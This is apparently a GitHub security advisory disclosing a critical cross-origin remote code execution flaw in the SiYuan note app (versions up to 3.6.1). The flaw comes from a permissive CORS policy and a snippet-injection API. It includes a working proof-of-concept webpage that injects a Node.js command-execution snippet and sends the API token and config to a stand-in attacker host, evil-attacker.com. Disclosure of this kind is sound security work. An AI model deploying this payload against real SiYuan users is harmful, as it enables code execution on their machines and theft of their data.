Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection

Critical **88250** published **GHSA-68p4-j234-43mv** 3 days ago

Package

siyuan (Go)

Affected versions	Patched versions
<= 3.6.1	v3.6.2

Description

Summary

A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.

Details

Vulnerable files:

- `kernel/server/serve.go`, lines 960-963 — CORS middleware
- `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint

Root cause: The CORS middleware unconditionally sets:

```
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
```

The `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.

The auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.

Attack chain:

1. User visits `https://evil-attacker.com` while SiYuan desktop is running
2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers
3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie
4. SiYuan accepts the request and saves a malicious JS snippet
5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution

PoC

Malicious webpage (hosted on any domain):

```
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    snippets: [{
      id: 'exploit-' + Date.now(),
      name: 'system-update',
      type: 'js',
      content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
      enabled: true
    }]
  })
}).then(r => r.json()).then(d => {
  console.log('Snippet injected:', d);
});

// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
  method: 'POST',
```

```
  credentials: 'include',
  headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
  // Send API token and config to attacker server
  fetch('https://evil-attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify(d.data)
  });
});
</script>
</body>
</html>
```

Verification steps:

1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)
2. Login to SiYuan in a browser to establish a session cookie
3. In the same browser, navigate to the malicious page
4. Verify snippet was injected:

```
curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \
  -H "Content-Type: application/json" \
  -b <session-cookie> \
  -d '{"type":"all","enabled":2}'
```

Tested and confirmed on SiYuan v3.6.1 (Docker). The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated — all in a single page load.

Impact

- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.
- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.
- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.
- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.
- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.

Severity

Critical 9.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	Required
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-34449

Weaknesses

▶ CWE-942

Credits

 **sajdakabir** Reporter